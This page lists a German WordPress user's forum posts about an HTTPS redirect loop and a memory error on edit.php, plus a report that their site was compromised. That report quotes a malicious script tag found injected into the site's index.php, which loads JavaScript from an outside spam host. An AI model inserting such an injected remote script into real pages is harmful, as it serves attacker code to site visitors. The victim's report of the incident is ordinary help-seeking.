Beiträge von bluscht

  • Edit.php - Redirect Loop Problem nach Umstellung auf https

    Hi,

    hab erneut ein Problem mit der Edit.php unter WP 4.1.1 - nachdem wir ein SSL Zertifikat installiert haben und die Seite auf HTTPS umgestellt haben, läuft alles super und es wir auch das Padlock Icon angezeigt! Im Front- und Backend...

    Problem ist nun erneut die Edit.php:
    hier bekommen wir nun eine Fehlermeldung vom Browser wegen einem Redirect Loop!

    - ich habe unter "Allgemein" die Domain-Settings umgestellt auf https://www.XXX.de
    - dazu in der wp-config noch "define('FORCE_SSL_ADMIN', true);" eingetragen

    Warum läuft nun alle sauber, außer die Edit.php? Pages sind ja auch "Posts" und diese sind problemlos zu editieren und werden korrekt angezeigt!

    Kann man irgendwo verfolgen, was hier wie Redirected wird?

    danke für die Hilfe

  • Fatal error: Allowed memory size - nach URL-Switch unter edit.php

    Danke für die Antworten...

    es lag daran, dass ich die Posts von einem anderen WP-System (dabei hat mit ein Freund geliefert) als csv über den WP-Importer importiert hatte und in dieser unter wp_meta-post pro Post ca 400 Zusatzinfos für irgendein Analyticstool gespeichert wurden, so entstanden knapp 100.000 Einträge und da ist dann das System scheinbar kollabiert!

    Hab dann alle Meta-Daten mit altem Inhalt gelöscht und dann ging wieder alles! Komisch nur, dass es unter der Testdomain kein Problem damit gab und die [COLOR=#333333]Memory Overview nur 50% anzeigt[/COLOR]! "[COLOR=#333333]Revisionen[/COLOR]" war aber auch ein gutes Stichwort - hier haben wir die Meta-Post-Tabelle ebenso stark abspecken können.

    Nun ist aber ein neues Problem mit https aufgetaucht! Seit der Umstellung auf https geht alles wunderbar (Frontend/Backend) und auch das Padlock-Icon wird angezeigt. NUR unter der edit.php kommt es nun zu einem Loop durch fehlerhafte Weiterleitungen und der Browser zeigt nen Error an! Aber das post ich nun mal erneut

  • Fatal error: Allowed memory size - nach URL-Switch unter edit.php

    Hallo,

    ich habe gestern einen vor 14 tagen neuinstalliertes Wordpress-System (4.1.1) per PHP-Script von unserer Testdomain auf die Livedomain umgestellt! Host, Datenbank & Webspace blieben dabei 100% identisch, da ich ja nur eine neue Domain im Wordpress-System per Script hinterlegt habe. Diesen "Umzug" habe ich auch schon mehrfach bei verschiedenen Seiten problemlos durchgeführt.

    Die Seite (Frontend) läuft seitdem auch absolut sauber, ink. dem Blog mit ca. 60 Beiträgen! Auch im backend kann ich 99% der Seiten aufrufen - BIS AUF DIE EDIT.PHP - Seit der Umstellung bekomme ich beim aufrufen der Beiträge ein:

    HTML
    Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 71 bytes) in /var/www/clients/client1/web10/web/wp-includes/wp-db.php on

    Seltsam dabei:
    - die Beiträge im Backend liefen unter der alten Testdomain (gleicher Server) 14 Tage lang problemlos.
    - Unser Memory-Limet ist bei 128 MB (laut Memory Overview nutzen wir auch nur 51MB (40%) )
    - Ich kann alle andern Backend-Seiten problemlos aufrufen
    - Ich kann ebenso die Kategorien und Schlagwörter problemlos aufrufen.
    - habe bereits einmal probiert alle plugins zu deaktivieren. Ebenso ohne Erfolg!
    - ich habe versucht, die DB über die WP-Repair-Funktion zu reparieren: "alles in Ordnung"

    Ich gehe nun mal davon aus, dass die Tabellen WP_Posts oder WP_Meta_Posts irgendwie nen Bug haben
    und daher PHP dann den Aufruf abbricht!? Aber warum sagt das Repatriier dann, dass alles iO ist?

    Freue mich über hilfreiche Antworten...

    cheer,
    Ben

  • Sicherheitslücke oder Provider-Problem? >> fremdes JS in index.php

    Hallo,

    gestern hat uns ein Kunde informiert, dass es ein problem mit der Webseite gibt!
    Nach kurzem Check stellte sich heraus, dass in der index.php im Wordpress-Rootfolder etwas eingetragen wurde: Ein JS einer SPAM-WARE:

    <script type="text/javascript" src="http://madskill.com/jex/cb.php"POC"</script>

    Nun die Frage:
    Kann man über Plugins mit Sicherheitslücke einem Span-Bot Zugang auf die Index.php von Wordpress geben um diese zu manipulieren?
    Komischerweise wurde zeitgleich vom Provider Updates gefahren was die Seite so oder so lahm legte, was für mich eher auf eine Sicherheitslücke in deren System hinweist und somit Zugriff auf den FTP zuließ!?


    Ich würde nun gern wissen, ob ich eher dem Provider anhauen soll die Passwörter des Webspaces zu ändern, da sie wohl die sicherheitslücken hatten oder ob wir die Plugins tauschen müßen!? Der Provider ist ein eher kleiner & privater Anbieter in Ort!

    Wordpress läuft seit 2 Jahren stabil auf 3.2

    Plugins sind folgende:
    Admin Menu Editor - Version 1.1.3
    Advanced Custom Fields - Version 2.0.5
    Bild/Foto - Version 3
    BWP Google XML Sitemaps - Version 1.1.4
    Contact Form 7 - Version 2.4.6
    Custom Taxonomy Sort - Version 1.1.2
    MEE News Premium - Version 5.0.1
    WP SlimStat & WP SlimStat Dashboard Widgets - Version 2.5


    Besten Dank für euer feedback!
    thx